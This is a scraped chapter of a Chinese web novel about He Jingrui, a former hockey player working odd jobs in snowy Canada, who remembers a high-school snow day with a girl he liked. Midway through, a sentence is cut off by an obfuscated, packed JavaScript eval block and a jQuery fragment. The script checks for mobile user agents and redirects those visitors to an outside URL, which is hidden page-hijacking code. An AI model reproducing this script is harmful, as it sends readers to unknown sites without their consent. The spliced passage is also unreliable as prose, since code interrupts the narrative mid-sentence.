文趣网 > 其他小说 > 北地有极光 > 13. 何敬睿 二
    何敬睿开始打两份工。

    白天在钟哥的家政公司帮忙,晚上继续去居酒屋。

    钟哥那边的活很杂,搬家、跑腿买家具、上门拼装家具,偶尔还要去机场接机。

    公司突然缺人,是因为临近年关,合伙的几个人里有人家里老人住院,临时回国照顾,人手一下少了下来。

    何敬睿跟着跑了两单搬家之后,便正式顶上了这个空缺。

    冬天原本是搬家和装修的淡季。钟哥因地制宜,又多开展了一项铲雪业务。

    今年的雪尤其多。

    已经快到二月,天气预报里还挂着暴雪预警。

    钟哥问他愿不愿意接铲雪的活。何敬睿当然答应。

    一来这活来钱快,二来只要下暴雪,餐馆基本都会停业,他晚上的工时也会被影响。铲雪正好弥补他的收入。

    加拿大多是独栋或联排别墅,冬天铲雪,一直是屋主最头疼的事情。

    电话预约的业主很多,钟哥这阵子正愁人手不够。很多客户都是合作了好几年的老客,他也不想就这么推掉。

    钟哥说,冬天的铲雪是公司一项大业务。每次铲雪,一户收费70-100加币不等,运气好的时候,一条街有三四户人家定,平均20几分钟搞定一户,不到两小时就是近300的收入。

    听着不错,但也不是好挣的钱。

    这活有时效性。

    如果是白天下雪,下午铲还来得及;可一旦夜里下雪,大多数业主都会要求清晨铲干净,这样才不影响出行。所以很多时候,天没亮就得出去干活。

    这次的雪,从上午就开始下。鹅毛一样的大雪簌簌往下落,一层一层,很快把街道和屋顶都压白。

    学校提前停课,让学生回家。不少公司也早早宣布下班。

    何敬睿打工的居酒屋也因暴雪提前关门了。

    他照例帮着老板收拾完店里,最后一个离开,准备去赶停运前的最后一班公交车回家。

    老板夫妇提出开车送他一程。何敬睿道了谢,说不用麻烦。

    来加拿大一年多,这是他过的第二个冬天。雪已经不算稀奇,可他依旧喜欢看雪。

    他现在居住的城市,与他的老家南岭有些相似,都是海边的小城镇。

    街道不拥挤,人也不多。街边的店铺很多都开了几十年,老板彼此都认识。节奏慢,人情也热。不像多伦多,那里太大了,人们也总是匆匆忙忙的,没人会为一个人的跌倒而驻足。

    唯一不同的是,南岭很少下雪。

    所以雪天格外珍贵。

    高三那年,下了十年难遇的大雪。

    因为稀有,所以不想错过,因为难得,所以记忆格外清晰。

    共同的记忆。

    那天训练结束,何敬睿穿过半个小镇,跑去找她,连个像样的礼物都没带。

    在看到她拒绝了别人的告白后,庆幸得弯唇笑起来。轮到自己开口时,却紧张得连话都说不利索。

    于是干脆装作很镇定的样子,把手插进口袋,“我送你去车站吧。”

    他陪她到公交车站等车。两人并肩站着,看雪静静落下来。

    不断有公交车进站,气流卷起雪花,在灯光下四散飞舞。有的落在他的脸颊上,很快融化,有的落在女生的发丝上,也凝结成晶莹小水滴。

    女生觉得新奇,伸出双手去接那些雪花。

    一双杏眼亮晶晶的,挡不住的惊喜。

    何敬睿看着她,一时间什么都忘了说。

    直到她要等的车进站。

    女生转过身来,稍稍仰头看他。

    不知道是风雪吹的,还是别的什么原因,她的双颊微微发红,雪白的皮肤透出淡淡的红晕,

    “我的车到了。”

    想到刚刚被拒绝的那个男生,何敬睿忽然不敢再开口。

    他只是愣愣地点了点头。

    “那……下次见。”女生说完,垂眸转身上车。

    这站等车的学生很多,有人打闹,有人嬉笑,站台很热闹。

    何敬睿的视线穿过喧闹,追随着那个身影向车厢后面走。

    车门关上。

    又一阵气流掀起屋檐下的积雪。

    何敬睿隔着车窗,看见她坐在靠窗的位置。

    他以为,她只是舍不得外面的雪景。

    却忽然,与她的视线撞在一起。

    她在……看他?!

    刚才还在笑别人笨,结果自己更笨。在这样珍贵的时间,跑到她身边,却连一句像样的话都没说出来。

    如果下次他又来晚怎么办?如果下次没有这么好运气,她没有拒绝别人怎么办?

    何敬睿猛地回神,在司机准备踩油门离开的那一刻,焦急地冲过去拍车门。

    司机瞥了他一眼,又把门打开。

    他匆匆说了声“抱歉”,迈开长腿往车厢后面走去,在她旁边的空位上坐下。

    车上很嘈杂,有不同学校的学生,都在讨论外面的雪。但两个人的距离足够近,足够听到呼吸和心跳。

    何敬睿深吸一口气,努力让呼吸平稳下来。

    “你刚刚说……高考前不谈恋爱。”他的声音有点紧张,“是认真的吗?”

    女生愣了一下,然后点点头。

    何敬睿悄悄松了口气。

    还好不是个借口,不是已经有了喜欢的人。

    “那……”他的喉结动了一下,转头看向她,

    “6月9号开始,我可以追你吗?”

    呲————————

    回忆被公交车进站的巨大气流声打断。

    何敬睿抬起眼,从回忆里抽身,上前两步跨上车。

    加拿大的公交车暖气开得很足。刚刚被风卷起,落在他头发上的雪花,一瞬间融化。

    额前露在帽衫帽子外的头发有些湿,他也没去管。细小的水滴顺着发尖落下来,掉在睫毛和脸颊上,很快消失。

    因为是停运前的最后一班车,车厢里人不少。都是这种天气还要出来打工的人。

    何敬睿往后走,在最后一排靠窗的位置坐下。

    他向窗外望去,看雪里的小镇,昏黄的路灯街景,和记忆一样,挡不住地向后退。

    -

    到家时,房东钟哥一家人正围着餐桌吃晚饭。

    房子一栋独立别墅,楼上四个房间,钟哥与老婆陈姐住在主人房,两个分别六岁和八岁大的儿子住一个房间。另外两个房间,租给了留学生。

    何敬睿租的是地下室,有自己的卫生间,也有个简单的厨房,放着微波炉电磁炉,只是不能炒菜,只能简单蒸煮。

    住地下室的缺点是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723456|208669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,房间采光不多,总显得阴冷。但好处是,他有自己的空间,避免了很多不必要的交往。

    整栋房子住得满满当当。何敬睿平时下班晚,多数时候回来时,陈姐已经带孩子上楼休息了。所以住了四个多月,与这家人的交往其实不多。

    反倒是最近一周开始跟钟哥干活,见面的次数才多起来。

    平日里钟哥大多在外面忙。午饭晚饭常常在搬家途中或装修工地解决,回家吃饭的时候少。

    今天难得,家里格外热闹。

    陈姐看见他进门,热情招呼:

    “哎呀,小何今天也这么早下班啊!我们刚还在说,这么大的雪,担心你回来太晚不安全。”

    钟哥看见他身上还带着雪,说:“坐公交回来的?下次这么大雪给我发个信息,我接你。十分钟的事。”

    何敬睿把羽绒服小心脱下来,不让雪水滴到地板上,笑了笑。“公交也方便,到路口走几步就到了。”

    陈姐又问:“吃过了吗?要不要一起吃点?”

    何敬睿:“谢谢,我在店里吃过了。”

    陈姐没强留,笑眯眯:“那好,下次。”

    何敬睿点点头,转身准备下楼。

    刚走两步,又停住。

    犹豫一瞬,他把手里的袋子稍微抬了抬,“今天店里关门早,剩了不少三文鱼和北极贝,还有寿司。如果你们不嫌弃的话……”

    “怎么会嫌弃。”陈姐立刻起身,走过来接过,“我两个儿子最爱吃寿司了。”

    她转头对孩子说:“说谢谢。”

    两个男孩没怎么见过何敬睿,正抻着脖子好奇打量,闻言齐声说:“谢谢叔叔!”

    钟哥和陈姐又留他吃点饭,他还是笑着婉拒了。

    下楼时,楼上传来孩子们看到寿司后,开心的惊呼,“哇——!”

    何敬睿听见,唇角不自觉带了点笑。

    回到自己的房间。

    他照例先做了一组俯卧撑,又简单做了些力量训练。

    以前在球队时,高强度训练早就成了习惯。现在即使不在球队,也还是保留了一些。

    运动完去洗澡,就那么看水滴一下一下砸在浴室的玻璃门上,却没有声音。

    他也不知道自己什么时候开始习惯这种安静的。

    以前他是焦点,习惯被关注,喜欢被欢呼和叫喊包围。

    后来,耳边忽然安静下来,聚光灯和所有目光,也一并消失。

    何敬睿一遍遍给协会发邮件,熬夜查申诉流程,盯着手机等回复。他慌乱过也愤怒过,最后却还是被生活推着往前走。

    以前训练和比赛忙的时候,他总觉得时间太少。如果晚上有一点属于自己的时间,都珍贵得不敢浪费。

    现在,日子变得很简单,打工、还债、交房租。

    活着。

    可他却觉得时间太长,长得像永远也过不完。

    生活还在继续,贷款还有二十几期待还,房租和日常开销每天都在消耗。

    递交给冰球协会的申诉,也一直没有任何回音。

    他不知道这样的日子还要过多久。

    但他也不再着急了。

    因为没有冰球,也没有需要惦记的人。

    何敬睿也不知道,除了这样活下去,生活还能变成什么样子。